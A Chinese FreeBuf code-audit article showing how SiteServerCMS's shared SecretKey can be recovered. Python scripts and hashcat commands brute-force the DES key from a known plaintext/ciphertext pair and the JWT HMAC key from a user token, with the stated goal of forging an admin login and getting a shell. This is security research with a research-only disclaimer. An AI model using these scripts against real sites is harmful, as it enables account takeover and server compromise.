freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

代码审计 | SiteServerCMS密钥攻击
2020-05-14 08:00:54

免责声明:本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

一、前言

加密和签名本着使数据更安全,但有时它们在一起的时候也会产生相反的效果。

多天前,SiteServerCMS官方Github在7.x版本的一个commit更新了securityKey的生成算法:

https://github.com/siteserver/cms/commit/1bbdc5fc8f6a8755d10954f72ad9e3970035a97e

增加了securityKey的长度,之前是16字节的0-f字符串,直接暴破16字节的密钥还是比较难的。

但,如果使用不当,就会使原本具有一定强度的密钥变弱,大大的降低攻击成本,可以在短时间内计算出来。

接着上一篇《代码审计 | SiteServerCMS身份认证机制》最后一个问题继续探讨一下密钥攻击。

二、JWT 和 DES

在往下之前先回顾一下JWT和DES CBC模式。

2.1 JWT

JSON Web Token(JWT)是一个开放标准,通常用于信息交换,其令牌结构由三部分组成:

Header,头部,一般是标明使用的算法类型;

Payload,有效载荷,一般是要交互的数据;

Signature,签名,一般是数据的hash摘要。

各部分由点(.)号进行分隔,格式如下:

Header.Payload.Signature

2.2 DES

DES算法的密钥为8字节,其密文分组链接模式(Cipher Block Chaining, CBC)特点是首先将明文分组与前一个密文分组(第一组与初始向量IV)进行XOR运算,然后进行加密,如图:

《图解密码技术(第3版)》

三、弱密钥攻击

上一篇讲到SecretKey是由GetShortGuid()生成的16字节0-f小写的字符串,由于DES加密和JWT签名哈希都是使用同一密钥SecretKey进行计算,这导致可以将16字节的密钥拆成2个8字节字符串进行本地爆破。

3.1 获取DES密钥

SiteServerCMS使用的是DES CBC模式的加密算法,已知固定IV:

byte[] iv = { 0×12, 0×34, 0×56, 0×78, 0×90, 0xAB, 0xCD, 0xEF };

那么,我们就可以有:

 加密中间数据 = 明文 XOR IV

如果能找到一组明文和密文对应组,就可以进行已知明文攻击,爆破8字节密钥Key。

举个例子,登录验证码是经过DES加密的,查看Cookie我们就可以得到一组明文和对应的一组密文:

前台: http://10.250.0.3:8062/home/pages/login.html
后台: http://10.250.0.3:8062/SiteServer/pageLogin.cshtml

pM44 : tiUDU5G1PJE0equals00secret0
from siteservercms_v6 import *

def bxor(b1, b2): # bytes
    result = bytearray()
    for b1, b2 in zip(b1, b2):
        result.append(b1 ^ b2)
    return result

def get_keya(ct, pt, iv):
    # 第一组密文,8字节
    st = base64.b64decode(b64_de_replace(ct)).hex()[:16]   

    # 第一组明文 XOR IV
    md = bxor(pt, iv).hex()

    print('hashcat -m 14000 {}:{} -a 3 "?h?h?h?h?h?h?h?h" --force'.format(st, md))

pt = b'pM44' + b'\x04' * 4  # 验证码,PKCS7填充
ct = 'tiUDU5G1PJE0equals00secret0'
iv = b'\x12\x34\x56\x78\x90\xAB\xCD\xEF'

get_keya(ct, pt , iv)

运行直接获取 hashcat 脚本:

hashcat -m 14000 b625035391b53c91:6279624c94afc9eb -a 3 "?h?h?h?h?h?h?h?h" --force

b625035391b53c91:6279624c94afc9eb:d78e2f50

8字节字符串基本是秒破,这里获取8字节密钥的只是等效密钥,有可能并不是真正的密钥,对于6.0以下版本足够拿去直接Getshell了,但对于6.x版本来说,还差后8字节密钥才能去干点什么。

由于DES密钥有效比特位是56位,有8位是校验位。这时,需要计算等效密钥的所有可能性,那样就会有多组DES密钥,由于字符串是由0-f组成,那么就会出现32组、64组、128组...都是等效的情况,这跟随机出来的密钥有关,最坏的情况是2^8=256组。

# 获取等效密钥组
def get_key_list(key): 
    result = [key]
    for i in range(len(key)):
        for k in result:
            t = list(k)
            s = chr(ord(t[i]) ^ 1)
            if s in '1234567890abcdef':
                t[i] = s
                n = ''.join(t)
                if n not in result:
                    result.append(n)

    return result

keya = 'd78e2f50' 
print(get_key_list(keya))

拿前面获取的Key计算一下,人品不行,有128组:

['d78e2f50', 'e78e2f50', 'd68e2f50', 'e68e2f50', 'd79e2f50', 'e79e2f50', 'd69e2f50', 'e69e2f50', 'd78d2f50', 'e78d2f50', 'd68d2f50', 'e68d2f50', 'd79d2f50', 'e79d2f50', 'd69d2f50', 'e69d2f50', 'd78e3f50', 'e78e3f50', 'd68e3f50', 'e68e3f50', 'd79e3f50', 'e79e3f50', 'd69e3f50', 'e69e3f50', 'd78d3f50', 'e78d3f50', 'd68d3f50', 'e68d3f50', 'd79d3f50', 'e79d3f50', 'd69d3f50', 'e69d3f50', 'd78e2f40', 'e78e2f40', 'd68e2f40', 'e68e2f40', 'd79e2f40', 'e79e2f40', 'd69e2f40', 'e69e2f40', 'd78d2f40', 'e78d2f40', 'd68d2f40', 'e68d2f40', 'd79d2f40', 'e79d2f40', 'd69d2f40', 'e69d2f40', 'd78e3f40', 'e78e3f40', 'd68e3f40', 'e68e3f40', 'd79e3f40', 'e79e3f40', 'd69e3f40', 'e69e3f40', 'd78d3f40', 'e78d3f40', 'd68d3f40', 'e68d3f40', 'd79d3f40', 'e79d3f40', 'd69d3f40', 'e69d3f40', 'd78e2f51', 'e78e2f51', 'd68e2f51', 'e68e2f51', 'd79e2f51', 'e79e2f51', 'd69e2f51', 'e69e2f51', 'd78d2f51', 'e78d2f51', 'd68d2f51', 'e68d2f51', 'd79d2f51', 'e79d2f51', 'd69d2f51', 'e69d2f51', 'd78e3f51', 'e78e3f51', 'd68e3f51', 'e68e3f51', 'd79e3f51', 'e79e3f51', 'd69e3f51', 'e69e3f51', 'd78d3f51', 'e78d3f51', 'd68d3f51', 'e68d3f51', 'd79d3f51', 'e79d3f51', 'd69d3f51', 'e69d3f51', 'd78e2f41', 'e78e2f41', 'd68e2f41', 'e68e2f41', 'd79e2f41', 'e79e2f41', 'd69e2f41', 'e69e2f41', 'd78d2f41', 'e78d2f41', 'd68d2f41', 'e68d2f41', 'd79d2f41', 'e79d2f41', 'd69d2f41', 'e69d2f41', 'd78e3f41', 'e78e3f41', 'd68e3f41', 'e68e3f41', 'd79e3f41', 'e79e3f41', 'd69e3f41', 'e69e3f41', 'd78d3f41', 'e78d3f41', 'd68d3f41', 'e68d3f41', 'd79d3f41', 'e79d3f41', 'd69d3f41', 'e69d3f41']

3.2 获取JWT密钥

还剩下8字节密钥,直接拿等效密钥组进行拼接循环爆破即可获得JWT 16字节的签名密钥`SecretKey`,那爆破如何验证密钥后面8字节的正确性?

上篇讲到,SiteServerCMS JWT的格式:

{"typ":"JWT","alg":"HS256"}.{"UserId":1,"UserName":"admin","ExpiresAt":"\/Date(时间戳))\/"}.哈希摘要

accessToken的格式:

算法类型 + 认证信息 + 哈希摘要
Base64UrlEncode(headerBytes) + "." + Base64UrlEncode(payloadBytes) + "." + Base64UrlEncode(signature)

我们只需要去前台随便注册一个用户,然后登录获取用户Cookie中的SS-USER-TOKEN

SS-USER-TOKEN : miwSyMrZkrJd0slash0y2v1vmYi2SQmsVxvzJm2kyerBmpzHqZvyr2mFCONEeBNiQmnHvAB0slash091aIXgky0uXXLo2mhhNpwfOLC0add03CxWLOxagungkttJcTIxPKgUosbkNGNoXUD5gUf70add0z6pJBihGUowi8xxOLmsdzk8PMjzeQ1zpNWvkyBqc00slash0Igtyzw90slash0aQD1eT3ZMaZIJl1Sccue7vUlJt4ZIRxflikVgHi0slash0muAjrEACajO80equals00secret0

由于JWT头部分是固定的,前面获取hashcat脚本也可以通过accessToken直接获取:

pt = bytes('eyJ0eXAi', 'ASCII')  # 'eyJ0eXAi' = base64('{"typ"')
ct = SS-USER-TOKEN

get_des_hashcat_str(ct, pt , iv)

接下来我们需要获取签名的哈希摘要字符串,一个可以从未加密的SS-USER-TOKEN-CLIENT里获取,另一个可以从加密的SS-USER-TOKEN里获取(拿前面获取的等效密钥解密):

from siteservercms_v6 import *

ct = SS-USER-TOKEN
keya = 'd78e2f50'
ss_at = decrypt(ct, keya, iv).split('.')
st_hmac = base64_url_decode(ss_at[2]).hex()
print(st_hmac)

获取得到签名哈希摘要:

1db8dd410455cf1de31f24b57bc60a81298fe346005b11953733a12a3a06c618

然后就可以通过前面的等效密钥组生成hashcat爆破脚本:

def get_keyb(ct, keya, iv):
    keyb_list = get_key_list(keya)

    ss_at = decrypt(ct, keya, iv).split('.')

    ss_pt = ss_at[0] + '.' + ss_at[1]
    st_hmac = base64_url_decode(ss_at[2]).hex()

    with open('keyb.sh', 'wt') as fs:
        for k in keyb_list:
            hs = 'hashcat -m 1450 {}:{} -a 3 "{}?h?h?h?h?h?h?h?h" --force{}'.format(st_hmac, ss_pt, k, "\n")
            fs.write(hs)
    print('$ bash keyb.sh')

ct = SS-USER-TOKEN
keya = 'd78e2f50'
iv = b'\x12\x34\x56\x78\x90\xAB\xCD\xEF'
get_keyb(ct, keya, iv)

采用生成一个Shell脚本的方式进行批量破解,由于hashcat破解成功会自动跳过后面的脚本,不必担心成功后还做无用计算。

也可以采用字典+掩码模式,测试发现掩码右拼接的速度比左拼接的速度慢很多,比单条计算也慢很多,不知啥原因。。。

with open('keyb.txt', 'wt') as fs:
    for k in keyb_list:
        fs.write("{}\r\n".format(k))
print('hashcat -m 1450 {}:{} -a 6 key2.txt "?h?h?h?h?h?h?h?h" --force'.format(st_hmac, ss_pt))

最终采用Shell脚本单条依次计算的方式,执行完会在当前目录生存成一个keyb.sh的脚本文件,跑就是了:

$ bash keyb.sh

由于需要大量hash的计算,这里的计算稍微会比较慢,我这渣渣笔记本跑完一组密钥组合要3~5分钟左右,128组大概就是 128 * 4 = 512分钟, 这也是拼人品的,如果正确密钥比较靠前,几分钟就出来,如果比较靠后,估计跑完也要10来小时。

计算快慢除了人品,还跟配置有关,一般的电脑如果死磕一个晚上也差不多出来了。

这里就不做演示了,直接去网站配置文件确认一下密钥前8字节在不在生成的等效密钥组里:

python3 test.py | grep --color d68d2f41

跑完直接查看结果:

$ cat ~/.hashcat/hashcat.potfile 
b625035391b53c91:6279624c94afc9eb:d78e2f50
1db8dd410455cf1de31f24b57bc60a81298fe346005b11953733a12a3a06c618:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJVc2VySWQiOjEsIlVzZXJOYW1lIjoidGVzdCIsIkV4cGlyZXNBdCI6IlwvRGF0ZSgxNTg4MDQ1NjcxMzkyKVwvIn0:d68d2f41d7497659

拿到了16字节的密钥,根据上一篇操作,就可以直接get_access_token伪造管理员登录后台进行Getshell。

四、最后

虽然攻击成本有点高,需要点时间计算,但利用条件低。获取密钥后进一步攻击后台的成功率也高,一般UID为1的用户名是admin或siteserver,如果不是,只需要UID和UNAME进行交叉遍历即可。

*本文作者:zrools,转载请注明来自FreeBuf.COM

# 代码审计 # SiteServerCMS # 密钥攻击
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者